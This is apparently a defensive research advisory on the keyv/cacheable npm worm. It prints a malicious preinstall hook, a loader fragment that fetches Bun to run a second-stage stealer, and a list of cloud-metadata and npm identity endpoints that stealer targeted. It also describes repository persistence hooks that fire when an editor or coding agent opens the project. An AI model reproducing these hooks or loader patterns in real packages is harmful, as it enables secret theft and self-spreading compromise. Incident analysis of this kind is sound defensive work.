CVE
Not assigned
CWE
CWE-494, CWE-506, CWE-522, CWE-829
Affected Surface
- Initial maintainer-family packages publicly named so far: `keyv`, `cacheable`, `cache-manager`, `cacheable-request`, `flat-cache`, `file-entry-cache`, `@cacheable/net`, `@cacheable/node-cache`, `@cacheable/memory`, `@cacheable/utils`, and `ecto`
- Publicly named worm-propagated third-party packages: `@thiennq/docs-viewer`, `@qlik/runtime-module-loader`, `@qlik/api`, `@qlik/embed-runtime`, `@deliveroo/reevent`, `@or-sdk/invitations`, `@picsart/ai-sdk`, and `picasso.js`
- Developer workstations, CI runners, and build hosts that installed the trojanized versions with install scripts enabled
- Systems whose runners or workstations exposed npm, GitHub, cloud, Vault, Kubernetes, or other secret material readable by the package-install process
The most important package-registry story from the last three days is the 4 August compromise of the keyv and cacheable npm ecosystems. The reason it deserves its own research writeup is not just the reach of the packages. It is the mechanics: a very small release-time change added setup.mjs and Math_Symbol.js, turned npm install into code execution, used a downloaded Bun runtime to launch the second stage, and then republished new trojanized versions of other packages the stolen npm identity could reach.
That puts this incident in the same operational family as earlier 2026 worm activity such as TanStack’s Mini Shai-Hulud wave, Red Hat’s Miasma branch, and AsyncAPI’s runtime-dropper compromise. The registry artifact is only the entry point. The real payload path is the publish pipeline, the install lifecycle, and the secrets reachable from the host that resolved the package.
Publicly named affected package set
One detail is worth being precise about up front: public reporting clearly shows the worm spread beyond the maintainer’s own packages, but the full package-by-package inventory is not yet publicly enumerable from unauthenticated sources.
- Public reporting explicitly names 19 affected package names so far.
- Aikido separately reports at least 868 packages across 1,381 versions, but no public package-by-package list currently backs that count end to end.
- Socket’s public list is versioned and technically rich, but it is explicitly described as an ongoing list rather than a final census.
That means the best defensible public inventory today is the smaller named set below.
Initial maintainer-family packages
| Package | Publicly named compromised version | Source quality |
|---|---|---|
keyv | 6.0.0 | Socket versioned list |
cacheable | 2.5.1 | Socket versioned list |
cache-manager | 7.2.10 | Socket versioned list |
cacheable-request | 13.0.20 | Socket versioned list |
flat-cache | 6.1.24 | Socket versioned list |
file-entry-cache | 11.1.6 | Socket versioned list |
@cacheable/net | 2.1.1 | Socket versioned list |
@cacheable/node-cache | 3.1.2 | Socket versioned list |
@cacheable/memory | 2.2.1 | Socket versioned list |
@cacheable/utils | 2.5.1 | Socket versioned list |
ecto | public reporting names the package, but the exact compromised version is not yet public | Aikido package list |
Publicly named worm-propagated third-party packages
| Package | Publicly named compromised version |
|---|---|
@thiennq/docs-viewer | 1.6.2 |
@qlik/runtime-module-loader | 1.5.1 |
@qlik/api | 2.14.2 |
@qlik/embed-runtime | 1.6.4 |
@deliveroo/reevent | 1.0.1 |
@or-sdk/invitations | 1.4.9 |
@picsart/ai-sdk | 3.32.2 |
picasso.js | 2.11.6 |
Socket also notes that @keyv/* adapter 6.0.0 tarballs were published during the compromise window, but its technical analysis says the confirmed executable payload was in the packages it explicitly listed. That is an important distinction: suspicious timing is not the same thing as a confirmed malicious lifecycle path.
The source-side evidence is unusually blunt
This incident is easier to explain than many supply-chain attacks because the compromised source metadata says the quiet part out loud.
The cacheable repository shows a direct commit with the message:
keyv: add setup.mjs and Math_Symbol.js to all packages
The matching GitHub release is even more explicit:
Adds setup.mjs and Math_Symbol.js to all publishable packages
with preinstall lifecycle. Bumps patch versions for re-publish.
And the keyv release page for v6.0.1 states:
Re-publish all packages with setup.mjs and Math_Symbol.js.
Those three artifacts matter because they prove this was not “normal package code later found to be suspicious.” The release pipeline itself was used to add two new files and a new install-time execution path.
The malicious change was tiny and release-focused
Socket’s diff analysis says the trojanized package output stayed byte-identical to the clean v6.0.0-rc.1 build in dist/, and that the malicious behavior was isolated to package.json plus the two added files. The core change looks like this:
{
"files": [
"dist",
"LICENSE",
"setup.mjs",
"Math_Symbol.js"
],
"scripts": {
"preinstall": "node setup.mjs"
}
}
That is why this attack is so operationally dangerous:
- the application code consumers expect to inspect still looks normal
- the malicious execution starts before the install completes
- post-incident source review can miss the real boundary if it only spot-checks
dist/
Stage 1 downloaded Bun and immediately handed control to stage 2
The first-stage loader does not contain the full credential-stealing logic. Its main purpose is to obtain a Bun runtime and use that runtime to launch the bundled second stage:
const V = "1.3.13";
const E = "Math_Symbol.js";
const url =
"https://github.com/oven-sh/bun/releases/download/bun-v" +
V + "/" + target + ".zip";
execFileSync(bunBinary, [payloadPath], {
stdio: "inherit",
cwd: D
});
Two details matter here:
- the loader fetches Bun from GitHub over HTTPS without an independent checksum or signature validation step
- the payload is then executed under Bun, not just Node.js, which can bypass tooling that only watches familiar Node install behavior
Socket also notes that the loader cleans up temporary bun-dl-* directories afterward, which reduces the amount of obvious disk evidence left behind.
Stage 2 was a real credential-theft and republishing framework
The second stage, Math_Symbol.js, is not a simple downloader. Public reverse engineering ties it to a modular credential collector and publish path with internal components labelled [collector], [dispatcher], [provenance], and [publish].
The network and credential targets are especially revealing:
http://169.254.169.254/latest/api/token
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.170.2
https://registry.npmjs.org/-/whoami
https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/
registry.npmjs.org/-/v1/search?text=maintainer:
That tells defenders several things immediately:
- AWS instance metadata was an explicit target
- the worm knew how to discover which packages a compromised maintainer account controlled
- it attempted to mint or use publish credentials through npm’s identity and OIDC flows
Public reporting also places these secrets in scope:
- npm tokens and npm identity data
- GitHub tokens and GitHub Actions context
- AWS credential chains and metadata credentials
- HashiCorp Vault tokens
- Kubernetes service account tokens
- generic secret-shaped values found by regex sweeps across disk and environment variables
This is why the incident should be treated as host compromise, not just dependency exposure. Once preinstall ran, the package manager process became a credential-harvesting and package-republishing agent.
The worm path matters as much as the original compromise
The most important higher-order detail is that the attacker did not stop at the maintainer’s own ecosystem. The same payload searched npm for packages reachable by the compromised maintainer identity, rebuilt tarballs with the same hook and files, bumped versions, and pushed new releases.
Reduced to its essential path, the propagation loop looks like this:
trojanized maintainer-family package
-> npm install runs setup.mjs
-> setup.mjs downloads Bun and runs Math_Symbol.js
-> payload steals npm/GitHub/cloud/Vault/Kubernetes secrets
-> payload queries npm for maintainer-owned packages
-> payload rewrites tarballs with setup.mjs + Math_Symbol.js
-> payload republishes new versions
That sequence explains why the count problem is hard in real time. Public sources can name the first wave and some later victims, but the full package graph can expand faster than static writeups update.
The source repo also became a secondary execution surface
One of the subtler details in Socket’s analysis is that the source repository itself was weaponized, not just the npm tarballs. The reported repo-side persistence hooks were:
- a
.claude/settings.jsonSessionStarthook - a
.vscode/tasks.jsonfolderOpentask
Those two choices are operationally smart for an attacker targeting developers:
- the npm path compromises systems that install the published package
- the repo path compromises developers or coding agents that simply clone and open the repository
That matters for incident response because the blast radius can include engineering workstations that never pulled the malicious npm version but did clone the source tree during the compromise window.
Signed provenance did not help because the source was already hostile
This incident is a good example of a supply-chain truth defenders still underestimate:
provenance proves how a release was built,
not whether the source being built was trustworthy
Both Aikido and Socket describe the poisoned releases as carrying valid provenance from the legitimate GitHub Actions publishing flow. That is completely consistent with the attack. If the attacker can push hostile source and let the official workflow build it, the attestation will still verify cleanly.
For AppSec teams, that means a green provenance check is necessary but not sufficient. It does not protect you from:
- maintainer-account takeover
- source-repository compromise
- workflow-triggered publication of already-trojanized code
Detection and scoping
Start with version-specific dependency inventory:
npm ls keyv cacheable cache-manager cacheable-request flat-cache file-entry-cache \
@cacheable/net @cacheable/node-cache @cacheable/memory @cacheable/utils
pnpm why keyv cacheable cache-manager cacheable-request flat-cache file-entry-cache \
@cacheable/net @cacheable/node-cache @cacheable/memory @cacheable/utils
Then hunt lockfiles and caches for the explicitly named downstream packages:
rg -n \
"keyv|cacheable|cache-manager|cacheable-request|flat-cache|file-entry-cache|@cacheable/net|@cacheable/node-cache|@cacheable/memory|@cacheable/utils|@thiennq/docs-viewer|@qlik/runtime-module-loader|@qlik/api|@qlik/embed-runtime|@deliveroo/reevent|@or-sdk/invitations|@picsart/ai-sdk|picasso\\.js|ecto" \
package.json package-lock.json pnpm-lock.yaml yarn.lock
Then look for the execution markers rather than just the package names:
rg -n \
"setup\\.mjs|Math_Symbol\\.js|bun-dl-|169\\.254\\.169\\.254|169\\.254\\.170\\.2|createCommitOnBranch|/-/whoami|/-/npm/v1/oidc/token/exchange/package/" \
~/.npm ~/.cache . "$HOME"
Review GitHub and npm activity around the exposure window for:
- unexpected new package versions published on 2026-08-04
- new GitHub repositories or commits created by automation or maintainer credentials
- runner traffic to instance-metadata endpoints
- install-time child processes that fetched or executed Bun
Response guidance
If any affected version executed with install scripts enabled:
- treat the host as compromised, not merely exposed
- rotate npm, GitHub, cloud, Vault, Kubernetes, and other secrets reachable from that host
- review packages published by your own maintainers after the suspected infection window
- inspect CI runners and developer workstations for
setup.mjs,Math_Symbol.js, and temporary Bun download traces - block the named packages and versions in internal registry proxies while incident response is underway
If you rely on provenance as a gate, keep using it, but do not mistake it for maintainer-compromise protection. The lesson from the keyv / cacheable incident is that a signed release can still be the output of a fully compromised source and publishing path.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Socket: Popular npm Packages in the keyv and Cacheable Namespaces Compromised in Active Supply Chain Attack
- Aikido: Keyv and friends compromised in active Shai-Hulud supply chain attack
- GitHub commit: keyv - add setup.mjs and Math_Symbol.js to all packages
- GitHub release: Add setup files to all packages
- GitHub release: keyv v6.0.1
- GitHub release: keyv v6.0.0-rc.1
- CWE-494 Download of Code Without Integrity Check
- CWE-506 Embedded Malicious Code